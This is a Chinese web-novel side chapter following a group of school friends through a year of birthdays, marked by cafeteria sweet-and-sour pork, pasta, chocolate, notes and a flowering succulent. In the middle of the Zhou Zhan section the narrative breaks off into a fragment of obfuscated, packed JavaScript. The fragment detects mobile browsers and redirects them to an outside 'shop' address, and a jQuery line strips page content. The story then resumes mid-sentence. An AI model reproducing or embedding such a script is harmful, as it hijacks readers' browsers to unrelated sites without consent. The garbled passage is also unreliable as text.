番外四：0713与等待终期的蛋糕（又名：这群人的生日到底怎么过）


    ---


    【1月23日·陆微·嗜睡者的清醒日】


    陆微是被吵醒的。


    不是闹钟。


    不是走廊脚步声。


    不是隔壁宿舍的关门声。


    是——


    “生日快乐——！！！”


    七个人挤在他宿舍门口。


    洛知予举着一张手写贺卡——封面画着一只睡得很安详的树懒，旁边写着「世界睡眠日快乐」然后被林小满紧急划掉，改成「生日快乐」。


    江野叼着棒棒糖，手里拎着一个塑料袋。


    “蛋糕。”


    他把袋子往桌上一放。


    陆微看着那个塑料袋。


    ——食堂打包的那种。


    ——透明，皱巴巴的。


    ——里面是一块切好的小蛋糕。


    “……这是蛋糕？”他问。


    “这是二号窗今天特供的提拉米苏。”江野理直气壮，“刘阿姨说早饭吃蛋糕不健康，下午茶才健康。”


    “现在几点？”


    “七点十三分。”


    陆微沉默了。


    他看着那块被当成“下午茶”早上七点送到他宿舍的提拉米苏。


    三秒。


    “……谢谢。”他说。


    他又躺下了。


    “那你吃不吃？”江野问。


    “睡醒吃。”


    “几点睡醒？”


    “不知道。”


    “——”


    “醒了就是醒了。”


    江野沉默了三秒。


    他把塑料袋系好。


    放在陆微床头。


    “……行。”


    他转身。


    走到门口。


    又停下来。


    “陆微。”


    “嗯。”


    “你生日愿望是什么？”


    陆微没有回答。


    他的眼睛闭着。


    呼吸平稳。


    江野以为他睡着了。


    正要走。


    他的声音从被子里传出来：


    “……明年今天。”


    “——”


    “不要七点叫我。”


    “——”


    “八点。”


    江野愣了一下。


    然后他笑了。


    “八点起不来怎么办？”


    “设闹钟。”


    “——”


    “三个。”


    “——”


    “五分钟一次。”


    “——”


    “总有一个会响。”


    门关上了。


    陆微睁开眼睛。


    他看着床头那块提拉米苏。


    三秒。


    他坐起来。


    拆开塑料袋。


    吃了一口。


    ——很甜。


    ——咖啡粉撒得有点多。


    ——刘阿姨手抖了。


    他又躺下。


    手里还攥着那个空叉子。


    嘴角弯着。


    ——他决定把这个口味记下来。


    ——明年还点这个。


    ---


    【2月14日·林小满·情人节与糖醋里脊】


    林小满对这个日子没有任何期待。


    情人节。


    和她有什么关系。


    她和糖醋里脊过。


    早上七点。


    她推开宿舍门。


    门口蹲着一个人。


    洛知予。


    他手里捧着一个保温袋。


    “生日快乐！”


    林小满低头看着那个保温袋。


    “……今天不是我生日。”


    “啊？”


    “我生日六月十七。”


    洛知予愣住了。


    他把保温袋翻过来。


    封口贴着一张便签：


    「给林小满」


    「——」


    「情人节快乐」


    「——」


    「二号窗·糖醋里脊特供」


    「——」


    「刘阿姨」


    洛知予：“……”


    林小满接过保温袋。


    打开。


    里面是一份刚出锅的糖醋里脊。


    酱汁还是那个配方。


    外酥里嫩。


    和她三年前记忆里的一模一样。


    “……刘阿姨为什么给我送这个？”她问。


    洛知予没有回答。


    他从口袋里摸出一张皱巴巴的便签。


    「小满：」


    「去年情人节你说想吃糖醋里脊。」


    「我说二号窗关了。」


    「你说没关系。」


    「——」


    「今年开了。」


    「——」


    「给你补上。」


    「——刘金凤」


    林小满看着那行字。


    很久。


    然后她蹲下来。


    把那份糖醋里脊放在台阶上。


    夹起一块。


    咬了一口。


    ——还是热的。


    ——还是那个味道。


    ——和去年、前年、大前年，一模一样。


    她嚼了很久。


    然后她抬起头。


    “……谢谢。”


    洛知予站在旁边。


    他没说话。


    但他的地图本里，夹着一张新的手绘地图。


    「蜃楼学园·糖醋里脊分布图」


    「——」


    「二号窗：★★★★★（刘阿姨特供）」


    「北门茶餐厅：★★★☆☆（偏甜）」


    「东门快餐车：★★☆☆☆（肉少）」


    「——」


    「备注：林小满说二号窗最好吃。」


    「备注2：已求证，可信度100%。」


    「备注3：明年情人节还要来排队。」


    他还没给她看。


    ——以后有的是时间。


    ---


    【3月3日·洛知予·地图与迷路】


    洛知予是被江野从被窝里拽出来的。


    “你过生日知不知道！”


    “知道。”


    “那你还睡！”


    “生日和睡觉不冲突。”


    江野沉默了三秒。


    他把洛知予拽到食堂。


    二号窗。


    刘阿姨探出头。


    “生日快乐！吃点什么？”


    洛知予看着档口牌。


    三秒。


    “……糖醋里脊。”


    江野愣了一下。


    “你不是不爱吃甜的吗？”


    洛知予没有回答。


    他端着那份糖醋里脊。


    走到靠窗的位置。


    坐下。


    低头吃。


    ——其实他也不是不爱吃甜的。


    ——他只是习惯了每次林小满点这个。


    ——他点别的。


    ——然后她吃不完的时候。


    ——他帮她吃。


    ——然后她说“谢谢”。


    ——他说“不谢”。


    ——三年。


    ——都是这样。


    他把最后一块里脊吃完。


    站起来。


    “我回去画地图了。”


    江野看着他。


    “……你今天生日。”


    “嗯。”


    “不庆祝一下？”


    “庆祝了。”


    “——”


    “吃了糖醋里脊。”


    “——”


    “够本。”


    他走了。


    江野站在原地。


    三秒。


    他摸出手机。


    「洛知予今天生日。」


    「——」


    「他点了糖醋里脊。」


    「——」


    「自己吃的。」


    「——」


    「没加备注。」


    林小满的回复三秒后到。


    「我知道。」


    「——」


    「他每年生日都点这个。」


    「——」


    「问他为什么。」


    「——」


    「他说好吃。」


    「——」


    「骗人。」


    江野看着那行字。


    他把手机收起来。


    ——他决定不告诉洛知予。


    ——林小满知道他每年生日都点糖醋里脊。


    ——也知道他根本不爱吃甜的。


    ——三年了。


    ——她每年都假装不知道。


    ——他每年都假装爱吃。


    ——这就是他们。


    ——


    下午三点。


    洛知予收到一张新地图。


    寄件人：林小满


    标题：「蜃楼学园·生日蛋糕隐藏兑换点」


    内容：


    「二号窗：报洛知予名字可以领一块提拉米苏（刘阿姨说的）」


    「旧音乐厅台阶：阳光好，适合吃蛋糕（陆微测过）」


    「北门茶餐厅：冻奶茶第二杯半价（方迟认证）」


    「——」


    「备注：今天路过二号窗。」


    「刘阿姨问我要不要给你带蛋糕。」


    「我说不用。」


    「——」


    「你自己会来。」


    「——」


    「我等你。」


    洛知予把这行字看了三遍。


    然后他把地图折起来。


    放进口袋。


    ——他今天没有去二号窗。


    ——但他把这张地图画进了自己的第十一版手绘里。


    ——在角落里。


    ——用铅笔。


    ——很小一行。


    「3月3日·有人等我」


    ---


    【4月9日·程渊·机车与钥匙】


    程渊的生日是四月九日。


    他没有告诉任何人。


    早上七点。


    他站在校门口。


    机车停在旁边。


    钥匙在口袋里晃。


    ——咣当。


    ——咣当。


    老张从门卫室探出头。


    “等人？”


    “不是。”


    “那站这干嘛？”


    程渊沉默了三秒。


    “……过生日。”


    老张愣了一下。


    他放下茶杯。


    从抽屉里摸出一块巧克力。


    “……门卫室别的没有。”


    “——”


    “糖有的是。”


    程渊低头看着那块巧克力。


    德芙。


    黑巧。


    ——他爸以前也爱吃这个牌子。


    ——他说太苦。


    ——他爸说苦的才醒神。


    ——他问醒神干嘛。


    ——他爸说：


    “醒着才能等人。”


    他把巧克力剥开。


    咬了一口。


    ——还是很苦。


    ——和他七年前吃的那块，一模一样。


    “……谢谢张师傅。”他说。


    老张摆摆手。


    “明年还来不？”


    程渊想了想。


    “……来。”


    “——”


    “等我爸一起。”


    老张点点头。


    他把茶杯盖上。


    “行。”


    “——”


    “明年给你留两块。”


    ——


    上午十点。


    程渊机车后座多了一个人。


    方迟。


    “你今天生日？”


    “嗯。”


    “怎么不早说？”


    “忘了。”


    方迟沉默了三秒。


    他看着程渊的后脑勺。


    三秒。


    “……头盔给我。”


    程渊愣了一下。


    “干嘛？”


    “陪你去个地方。”


    机车发动。


    十七分钟后。


    北门茶餐厅。


    方迟把两杯冻奶茶放在桌上。


    “生日快乐。”


    程渊低头看着那杯奶茶。


    杯壁上凝着水珠。


    ——和他爸七年前喝的那杯，一模一样。


    “……你怎么知道我喜欢喝这个？”


    方迟没有回答。


    他喝了一口自己的那杯。


    “你爸说的。”


    “——”


    “七年前。”


    “——”


    “他说程渊不爱吃甜的。”


    “——”


    “但冻奶茶可以。”


    “——”


    “因为杯子会出汗。”


    “——”


    “看起来凉快。”


    程渊没有说话。


    他端起那杯奶茶。


    喝了一口。


    ——其实他也不是喜欢喝冻奶茶。


    ——是小时候他爸买给他喝。


    ——他说好喝。


    ——他爸记住了。


    ——记住了七年。


    ——七年后。


    ——方迟替他爸记住了。


    他把杯子放下。


    “……谢谢。”他说。


    “不谢。”


    “——”


    “下次过生日。”


    “——”


    “提前说。”


    “——”


    “好安排。”


    程渊看着他。


    “安排什么？”


    方迟没有回答。


    他把自己的钥匙从口袋里摸出来。


    放在桌上。


    ——咣当。


    ——和程渊那把并排放着。


    “排队。” 他说。


    “——”


    “你生日。”


    “——”


    “刘阿姨问我要不要给你定蛋糕。”


    “——”


    “我说不用。”


    “——”


    “你不爱吃甜的。”


    “——”


    “但有人会陪你喝奶茶。”


    “——”


    “陪你晃钥匙。”


    “——”


    “陪你——”


    他顿了一下。


    “——等门卫室那块巧克力。”


    程渊看着他。


    很久。


    他把自己的钥匙也放在桌上。


    ——咣当。


    ——两把钥匙。


    ——并排放着。


    ——像两条永远不会交汇的平行线。


    ——但在某个频率上。


    ——重叠了。


    “……明年。” 他说。


    “——”


    “早点来。”


    “——”


    “门卫室九点开门。”


    “——”


    “巧克力放久了会化。”


    方迟点点头。


    “嗯。”


    “——”


    “八点五十。”


    “——”


    “门口等。”


    ---


    【5月20日·姜澄·理科战神的平凡一日】


    姜澄的生日是五月二十日。


    但她从来没有过过生日。


    不是没人记得。


    是她不说过。


    ——生日有什么好过的。


    ——时间刻度而已。


    ——地球绕着太阳转了一圈。


    ——和昨天没有任何本质区别。


    早上七点。


    她推开实验室的门。


    桌上放着一个信封。


    没有署名。


    她拆开。


    里面是一张打印纸。


    「姜澄同学：」


    「——」


    「经系统检测，今日是你的生辰。」


    「——」


    「本应生成祝贺程序。」


    「——」


    「但你不喜欢被祝贺。」


    「——」


    「因为祝贺意味着被观测。」


    「——」


    「所以。」


    「——」


    「今日无观测任务。」


    「——」


    「无祝贺程序。」


    「——」


    「无生日祝福。」


    「——」


    「只有一份实验室设备借用延长申请。」


    「——」


    「审批状态：已通过。」


    「——」


    「备注：你可以在这里待到晚上十点。」


    「——」


    「观测员靳朕」


    姜澄看着那行字。


    很久。


    她把这张纸折起来。


    放进口袋。


    ——和那枚刻着她名字的金属片放在一起。


    ——和那行「我不想成为任何人」放在一起。


    ——和那句「你只是成为了你自己」放在一起。


    她坐下来。


    打开光谱仪。


    继续做实验。


    ——今天没有生日祝福。


    ——只有一份设备借用延长申请。


    ——她可以待到晚上十点。


    ——这就够了。


    ——


    下午六点。


    实验室门被敲了三下。


    陈熠站在门口。


    手里拎着一袋东西。


    “……靳朕让我送的。”


    姜澄看着他。


    “送什么？”


    陈熠把袋子放在桌上。


    「无生日祝福·配套补给」


    「——」


    「1. 二号窗意面（钠含量0.32%）」


    「2. 冰美式（无糖）」


    「3. 实验室安全守则（最新版）」


    「4. 护手霜（长期操作键盘用）」


    「——」


    「备注：他说你不需要生日礼物。」


    「——」


    「但需要这些。」


    姜澄低头看着那支护手霜。


    ——她确实需要。


    ——冬天实验室太干。


    ——键盘敲久了，指节会裂。


    ——她从来没说过。


    ——靳朕也没问过。


    ——但他知道了。


    她把护手霜放进口袋。


    “……谢谢。”她说。


    陈熠点点头。


    转身。


    走了两步。


    又停下来。


    “姜澄。”


    “嗯。”


    “生日快乐。”


    姜澄看着他。


    “……你不是说无生日祝福吗？”


    “那是靳朕的程序。”


    “——”


    “我是手动输入的。”


    门关上了。


    姜澄站在实验室里。


    很久。


    她低头看着那袋东西。


    ——意面。


    ——咖啡。


    ——安全守则。


    ——护手霜。


    ——还有一句手动输入的生日快乐。


    她把护手霜的盖子拧开。


    挤了一点。


    涂在指节上。


    ——茉莉花香。


    ——很淡。


    ——不刺鼻。


    ——像靳朕会选的味道。


    ——也像陈熠会记得的味道。


    她继续做实验。


    手指没有再裂开。


    ---


    【6月17日·林小满·糖醋里脊与迟到三年的答案】


    林小满的生日是六月十七日。


    她没告诉任何人。


    ——休学三年。


    ——回来才半年。


    ——没有必要。


    早上七点。


    她推开食堂的门。


    二号窗。


    刘阿姨探出头。


    “生日快乐！”


    林小满愣住了。


    “……你怎么知道？”


    刘金凤没有回答。


    她把档口牌翻过来。


    「今日特供：糖醋里脊（生日版）」


    「——」


    「配方：林小满三年前说的那个」


    「——」


    「备注：她说糖多一点才好吃」


    「——」


    「我一直记着」


    林小满看着那行字。


    很久。


    “……您记了三年？”


    “三年。”


    “——”


    “你走之后。”


    “——”


    “二号窗关了。”


    “——”


    “档口牌收在柜子里。”


    “——”


    “配方压在牌后面。”


    “——”


    “等你回来。”


    “——”


    “做给你吃。”


    林小满没有说话。


    她把那盘糖醋里脊端起来。


    夹了一块。


    咬了一口。


    ——糖很多。


    ——比她记忆里还甜。


    ——和她说的一模一样。


    她嚼了很久。


    然后她把筷子放下。


    “……谢谢阿姨。” 她说。


    “不谢。” 刘金凤说。


    “——”


    “明年还来。”


    “——”


    “糖给你多放。”


    “——”


    “管够。”


    ——


    下午三点。


    洛知予在校门口等她。


    他手里捧着一张新地图。


    「蜃楼学园·糖醋里脊分布图·第二版」


    「——」


    「更新内容：」


    「1. 二号窗新增“生日特供”选项」


    「2. 刘阿姨记了三年配方——已验证」


    「3. 林小满说好吃——亲口说的，录音存疑，但可信度100%」


    「——」


    「备注：明年生日，我早点来排队。」


    林小满看着那行备注。


    三秒。


    “……你明年还来？” 她问。


    “来。”


    “为什么？”


    洛知予沉默了一下。


    “因为你说好吃。”


    “——”


    “我想看看。”


    “——”


    “你是不是真的会笑。”


    林小满愣了一下。


    “……我笑了吗？”


    “笑了。”


    “——”


    “刚才。”


    “——”


    “吃第一口的时候。”


    “——”


    「笑了0.7秒。」


    「——」


    「小梨涡。」


    「——」


    「存档了。」


    林小满没有说话。


    她把地图折起来。


    放进口袋。


    ——和那张三年前没发出去的录音放在一起。


    ——和刘阿姨写的那张便签放在一起。


    ——和洛知予今天手写的那行备注放在一起。


    「明年早点来。」


    「——」


    「等你。」


    ---


    【7月13日·靳朕 & 陈熠·守望者日】


    7月13日。


    守望者日。


    也是靳朕和陈熠的生日。


    ——同一天。


    ——三年前的雨天。


    ——实验室走廊。


    ——他们第一次见面。


    ——0713。


    ——从那一天起。


    ——这一天就不再只是生日了。


    ——


    早上六点。


    靳朕站在旧音乐厅门口。


    陈熠站在他旁边。


    那盆多肉静静地立在台阶边。


    ——第二朵花苞。


    ——比第一朵大一点。


    ——粉色。


    ——快要开了。


    「样本C-000。」靳朕说。


    “嗯。”


    「0713。」


    “嗯。”


    「——」


    「生日快乐。」


    陈熠看着他。


    “……你什么时候学会说这四个字的？”


    「样本M-001教的。」


    「——」


    「他说生日要说生日快乐。」


    「——」


    「不说的话。」


    「——」


    「对方会以为你忘了。」


    「——」


    「没忘。」


    「——」


    「存着。」


    陈熠没有说话。


    他把手伸进口袋。


    摸出那部旧手机。


    屏幕亮着。


    密码0713。


    备忘录。


    ——最后一条草稿。


    「今天食堂的意面太咸。」


    「——」


    「你下次可以少放点盐。」


    ——三年前。


    ——删了三遍。


    ——还是发出去了。


    ——他不知道靳朕有没有看懂。


    ——现在他知道了。


    “……我也没忘。” 他说。


    “——”


    “存了三年。”


    “——”


    “等你来翻译。”


    靳朕看着他。


    「翻译好了。」


    「——」


    「太咸=在乎」


    「少放盐=不想让你觉得我在乎」


    「——」


    「但还是在乎。」


    陈熠没有说话。


    他把手机收起来。


    放进口袋。


    ——贴着胸口的位置。


    “……面呢。” 他问。


    「二号窗。」


    「——」


    「刘阿姨说今天特供。」


    「——」


    「0713限定配方。」


    「——」


    「钠含量0.31%。」


    「——」


    「比平时低0.01。」


    「——」


    「因为你三年前说太咸了。」


    陈熠看着他。


    很久。


    “……你每年都调？”


    「嗯。」


    「——」


    「每年优化一次。」


    「——」


    「保质期：无限。」


    ——


    早上七点十三分。


    食堂二号窗。


    刘金凤把两盘意面放在柜台上。


    “0713快乐。” 她说。


    “——”


    “这一盘。”


    “——”


    “给三年前说太咸的那个人。”


    “——”


    “这一盘。”


    “——”


    “给记了三年、每年调一次配方的那个人。”


    “——”


    “今天不收费。”


    “——”


    “生日免单。”


    靳朕端着那盘面。


    陈熠端着那盘面。


    他们走到靠窗的位置。


    坐下。


    低头吃。


    ——面条的软硬度，刚好是咬下去有点韧性的那种。


    ——酱汁的颜色，比平时淡一点点。


    ——肉末切得很细。


    ——番茄的酸甜度，刚好是陈熠三年前说的那个比例。


    “……好吃。” 陈熠说。


    「嗯。」


    「——」


    「明年还会更好吃。」


    「——」


    「配方每年优化一次。」


    「——」


    「保质期：无限。」


    ——


    下午五点。


    全息屏亮起。


    「今日·7月13日」


    「守望者日·第一届」


    「——」


    「截至17:00，校内自发纪念活动：」


    「——」


    「旧音乐厅：47人自发献花」


    「——」


    「门卫室：收信37封」


    「——」


    「食堂二号窗：售出意面713份」


    「——」


    「联名墙：新增签名2047个」


    「——」


    「备注：今日无系统更新。」


    「——」


    「只有生日。」


    ——


    晚上十点。


    旧音乐厅。


    那盆多肉静静地立在台阶边。


    第二朵花——


    开了。


    很小。


    粉色。


    比第一朵还小一点。


    但确实是开了。


    周湛蹲在那里。


    方迟站在他旁边。


    陆微靠在柱子上。


    ——他没有睡。


    程渊晃着钥匙。


    ——咣当。


    ——咣当。


    陈熠看着那朵花。


    很久。


    “……开了。” 他说。


    「嗯。」靳朕。


    「——」


    「等到了。」


    孟萌站在人群边缘。


    他手里端着一杯凉掉的奶茶。


    ——今天不是特供。


    ——是早上买的，忘了喝。


    ——凉了。


    ——但他没扔。


    「样本M-001。」


    “嗯。”


    「奶茶温度：11℃。」


    「——」


    「超过最佳饮用温度阈值。」


    「——」


    「建议：丢弃。」


    孟萌低头看着那杯奶茶。


    三秒。


    他喝了一口。


    ——确实不好喝了。


    ——但他还是喝完了。


    「口感评分下降53%。」


    「——」


    「但样本M-001没有丢弃。」


    「——」


    「存档。」


    「——」


    「文件名：0713·奶茶·编号001。」


    「——」


    「备注：凉了也很好。」


    「——」


    「因为这一天。」


    「——」


    「是生日。」


    「——」


    「不是保质期。」


    ---


    【8月7日·周湛·第二次生日】


    周湛的生日是八月七日。


    他没有告诉任何人。


    ——疗养院不过生日。


    ——没有人来看他。


    ——他自己也不记得了。


    早上六点。


    他站在门卫室门口。


    老张探出头。


    “今天这么早？”


    “……睡不着。”


    老张看着他。


    三秒。


    “不是睡不着。”


    “——”


    “是不敢睡。”


    周湛没有说话。


    老张把茶杯放下。


    从抽屉里摸出一样东西。


    ——不是巧克力。


    ——是一枚小小的钥匙扣。


    塑料的。


    透明外壳。


    里面封着一朵干枯的花。


    ——粉色。


    ——很小一朵。


    ——和他养了两年七个月那盆，一模一样。


    “……这是？” 周湛问。


    “渊七年前留下的。” 老张说。


    “——”


    “他说如果有一天。”


    “——”


    “有个学生来问窗台缝里的信。”


    “——”


    “就把这个给他。”


    “——”


    “说——”


    “花会开的。”


    “——”


    “只是慢一点。”


    周湛低头看着那枚钥匙扣。


    那朵干枯的花。


    ——七年了。


    ——颜色褪了。


    ——花瓣脆了。


    ——但确实是开过的。


    他把钥匙扣握进掌心。


    “……谢谢张师傅。” 他说。


    “不谢。” 老张说。


    “——”


    “渊说这是给你的生日礼物。”


    “——”


    “补七年前那份。”


    周湛愣了一下。


    “……他怎么知道我今天生日？”


    老张没有回答。


    他把保温杯盖拧紧。


    “七年前。”


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218669|197471||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >“——”


    “你休学那天。”


    “——”


    “站在门口。”


    “——”


    “站了很久。”


    “——”


    “渊问我。”


    “——”


    “那个学生叫什么。”


    “——”


    “我说周湛。”


    “——”


    “八月七日生的。”


    “——”


    “档案上有。”


    “——”


    “他点点头。”


    “——”


    “没说话。”


    “——”


    “走了。”


    “——”


    “第二年。”


    “——”


    “他寄了这枚钥匙扣回来。”


    “——”


    「给周湛」


    「——」


    「生日礼物」


    「——」


    「补去年的」


    「——」


    「地址：门卫室转交」


    「——」


    「收件人：一个会回来的学生」


    周湛没有说话。


    他把钥匙扣握在掌心。


    很久。


    然后他把它系在自己的钥匙串上。


    ——和周湛写给周湛的信放在一起。


    ——和渊写给他的信放在一起。


    ——和方迟写给他的信放在一起。


    ——和今天早上那盆多肉的第二朵花放在一起。


    他的钥匙串。


    越来越重了。


    但没关系。


    ——重一点，才不容易丢。


    ——


    晚上七点。


    食堂二号窗。


    刘金凤把档口牌翻过来。


    「今日特供·长寿面」


    周湛站在窗口前面。


    “……我没有说过今天生日。”


    “不用你说。” 刘金凤。


    “——”


    “渊说了。”


    “——”


    “七年前。”


    “——”


    “他说有个学生。”


    “——”


    “八月七日生。”


    “——”


    “不喜欢过生日。”


    “——”


    “但还是要有碗面。”


    “——”


    “因为活着。”


    “——”


    “就是值得庆祝的事。”


    周湛没有说话。


    他端着那碗面。


    走到靠窗的位置。


    坐下。


    低头吃。


    ——面条煮得很软。


    ——汤很清。


    ——卧了一个荷包蛋。


    ——蛋黄是溏心的。


    ——他喜欢溏心蛋。


    ——他没有说过。


    ——渊也不知道。


    ——但刘阿姨知道。


    ——三年了。


    ——他每次来吃饭。


    ——她都记得他喜欢溏心蛋。


    他把面吃完。


    把汤喝干净。


    把荷包蛋留到最后。


    一口吃掉。


    “……谢谢阿姨。” 他说。


    “不谢。” 刘金凤说。


    “——”


    “明年还来。”


    “——”


    “面给你留着。”


    “——”


    “溏心蛋。”


    “——”


    “管够。”


    ---


    【9月1日·孟萌·相遇纪念日】


    孟萌的生日是九月一日。


    也是开学典礼的日子。


    ——三年前的今天。


    ——他站在礼堂前排。


    ——全息屏亮起。


    ——靳朕的名字空降榜首。


    ——数值栏一片乱码。


    ——他回头看。


    ——那个人站在光影交界处。


    ——校服穿得一丝不苟。


    ——眉眼精致得像数学模型推导出的最优解。


    ——眼里没有温度。


    ——只有一片沉静的、审视般的空旷。


    ——那时候他不知道。


    ——这个人会成为他的“转校帮扶对象”。


    ——会成为他的“观测员”。


    ——会成为他手机里备注从「样本M-001」改成「孟萌」的那个人。


    ——会成为每年九月一日、和他一起过生日的那个人。


    ——


    早上六点。


    孟萌推开宿舍门。


    门口放着一个保温袋。


    不是食堂打包那种。


    是新的。


    银色。


    系着丝带。


    他拆开。


    里面是一份意面。


    二号窗的。


    酱汁还是那个配方。


    钠含量0.32%。


    旁边压着一张便签。


    「样本M-001。」


    「——」


    「今日是你转学三周年。」


    「——」


    「也是观测协议签署第1096天。」


    「——」


    「三年。」


    「——」


    「1096次早饭投喂。」


    「——」


    「824次牛肉互夹。」


    「——」


    「51条非理性善意输入。」


    「——」


    「1次协议签署。」


    「——」


    「0次后悔。」


    「——」


    「生日快乐。」


    「——」


    「观测员靳朕」


    孟萌看着那行字。


    很久。


    他把便签折起来。


    放进口袋。


    ——和那51条“非理性善意输入”放在一起。


    ——和那张写着“钠含量0.32%”的早餐便签放在一起。


    ——和那杯凉了也没扔的0713奶茶放在一起。


    ——和他第一次被叫「孟萌」的那个截图放在一起。


    他的口袋。


    也快装满了。


    ——


    晚上七点。


    食堂二号窗。


    刘金凤把档口牌翻过来。


    「今日包场·生日宴会」


    「——」


    「主办方：守望者海域全体船员」


    「——」


    「备注1：蛋糕是提拉米苏（陆微选的）」


    「——」


    「备注2：糖醋里脊是林小满点的（她说庆祝要和糖醋里脊一起）」


    「——」


    「备注3：冻奶茶无限续杯（方迟说他请）」


    「——」


    「备注4：程渊说方迟请就是他请」


    「——」


    「备注5：渊说你们开心就好」


    「——」


    「备注6：沈悸冥说渊开心就好」


    「——」


    「备注7：……算了，备注写不下了」


    「——」


    「总之，生日快乐，孟萌。」


    孟萌站在门口。


    他看着那群挤在食堂里的人。


    ——陆微靠在暖气片上，闭着眼睛，但嘴角弯着。


    ——林鹿鸣坐在他旁边，手里拿着一根羽毛，没有戳他。


    ——林小满和洛知予在分同一份糖醋里脊。


    ——江野叼着棒棒糖，正在和程渊争论机车的轮胎型号。


    ——方迟在旁边听，手里端着两杯冻奶茶。


    ——周湛在窗台边，给那盆多肉浇水。


    ——姜澄在看光谱仪——不知道谁把光谱仪搬来食堂了。


    ——陈熠在角落里背英语单词——第十二单元。


    ——靳朕站在他旁边。


    ——还有渊。


    ——还有沈悸冥。


    ——还有许知微。


    ——还有老张。


    ——还有刘金凤。


    ——还有很多人。


    ——他叫不出名字。


    ——但他们都来了。


    ——


    “孟萌。”


    他转头。


    靳朕看着他。


    「生日快乐。」


    「——」


    「这是第四遍。」


    「——」


    「早上说了一遍。」


    「便签上写了一遍。」


    「刚才在心里说了一遍。」


    「——」


    「现在当面说。」


    「——」


    「存档。」


    孟萌没有说话。


    他看着靳朕。


    三秒。


    五秒。


    “……你那个‘未知’文件夹。” 他说。


    「嗯。」


    “现在多少条了？”


    「样本M-001·非理性善意输入：52条。」


    「——」


    「新增一条。」


    「——」


    「0911·当面说的生日快乐。」


    「——」


    「文件名：在乎·编号001。」


    「——」


    「备注：他说够了。」


    「——」


    「不用一万条。」


    「——」


    「这一条就够了。」


    孟萌看着他。


    很久。


    他把手伸进口袋。


    摸出那张早上收到的便签。


    展开。


    看了一遍。


    「0次后悔。」


    他把它折起来。


    放回口袋。


    “……我也没有。” 他说。


    「——」


    「什么？」


    “后悔。”


    “——”


    “三年前。”


    “——”


    “签那份协议。”


    “——”


    “0次。”


    靳朕看着他。


    三秒。


    「存档。」


    「——」


    「文件名：样本M-001·回应·编号001。」


    「——」


    「内容：0次后悔。」


    「——」


    「备注：他说够了。」


    「——」


    「不用一万条。」


    「——」


    「这一条就够了。」


    ——


    【尾声·12月31日·所有人的生日补丁】


    刘金凤把档口牌翻过来。


    「今日特供·跨年意面」


    「——」


    「配方：靳朕2026最终优化版」


    「——」


    「钠含量：0.31%」


    「——」


    「保质期：无限」


    「——」


    「备注：今晚不关门。」


    「——」


    「等你们来吃。」


    ——


    陆微靠在暖气片上。


    他今天睡了五次。


    ——破了年度纪录。


    但他没有回家。


    他在等跨年。


    ——不是等新年。


    ——是等这群人吃完面。


    ——然后他可以去睡觉。


    ——


    林小满端着最后一盘糖醋里脊。


    洛知予在旁边画地图。


    ——第十七版。


    ——他把食堂二号窗画成了心形。


    ——没有人发现。


    ——除了林小满。


    ——她看了一眼。


    ——没有说话。


    ——但她的梨涡，又出现了。


    ——


    程渊晃着钥匙。


    方迟也晃着钥匙。


    ——咣当，哐啷。


    ——咣当，哐啷。


    ——两种声音。


    ——踩在同一个节奏上。


    渊坐在旁边。


    他看着那两把晃来晃去的钥匙。


    很久。


    然后他把自己的钥匙也从口袋里摸出来。


    ——也开始晃。


    ——咣当。


    ——三种声音。


    ——踩在同一个节奏上。


    沈悸冥看着他们。


    三秒。


    他没有晃钥匙。


    他把那杯凉掉的咖啡端起来。


    倒进小盆栽里。


    ——


    周湛站在窗台边。


    那盆多肉静静地立在窗台上。


    第二朵花已经谢了。


    ——但第三朵花苞。


    ——已经冒出来了。


    ——很小。


    ——绿色。


    ——藏在叶片下面。


    ——不仔细看都发现不了。


    ——但他发现了。


    “……明年。” 他说。


    “——”


    “会开三朵。”


    方迟站在他旁边。


    “你怎么知道？”


    “因为有人等。”


    “——”


    “等的人多了。”


    “——”


    “花就开得快。”


    ——


    陈熠把英语书合上。


    第十四单元。


    他补完了。


    “……明年。” 他说。


    “——”


    “可以往前翻了。”


    靳朕看着他。


    「嗯。」


    「——」


    「存着。」


    ——


    孟萌站在人群边缘。


    他看着食堂里这群人。


    ——陆微终于睡着了。


    ——林鹿鸣把那根羽毛放回口袋。


    ——林小满和洛知予还在分同一份糖醋里脊。


    ——江野把棒棒糖咬断了。


    ——程渊、方迟、渊的钥匙还在晃。


    ——沈悸冥的盆栽又喝了一杯咖啡。


    ——周湛还在看那盆多肉。


    ——姜澄在光谱仪旁边睡着了。


    ——陈熠和靳朕并肩坐着。


    ——谁都没有说话。


    ——但谁都没有走。


    他把手机拿出来。


    没有看时间。


    他打开相机。


    对准食堂。


    按下快门。


    「2026.12.31」


    「——」


    「守望者海域·第一届跨年」


    「——」


    「出席人数：23」


    「——」


    「生日次数：12」


    「——」


    「等到的花：2朵」


    「——」


    「没等到的信：0封」


    「——」


    「备注：明年还会更多。」


    他把手机收起来。


    走进去。


    ——走向那个靠窗的位置。


    ——走向靳朕。


    ——走向他存了三年的在乎。


    ——


    ---


    ——献给陆微：明年今天，八点叫你。


    ——献给林小满：糖醋里脊，糖多，管够。


    ——献给洛知予：地图更新到第十七版了，有人发现了。


    ——献给程渊：巧克力很苦，但有人陪你吃。


    ——献给方迟：钥匙存门卫室，丢不了。


    ——献给姜澄：护手霜，茉莉花香，实验室专用。


    ——献给周湛：花会开的。你说得对。


    ——献给陈熠：0713生日快乐。面不咸了。


    ——献给靳朕：「0次后悔。」存档了。


    ——献给孟萌：三周年快乐。观测协议无限期延长。


    ——献给渊：七年份的生日礼物，你补完了。


    ——献给沈悸冥：毕业照的虚线框，有人站进来了。


    ——献给许知微：七年份的手抄稿，有人存着。


    ——献给刘金凤：十五年，二十三碗面，七十三份糖醋里脊，无数杯冻奶茶。


    ——献给老张：十二年的值班日志，够出一本书了。


    ——献给那盆多肉：第三朵花苞，等你开。


    ——献给还在等的你：


    ——生日快乐。


    ——不是今天也没关系。


    ——有人记着。


    ——明年补上。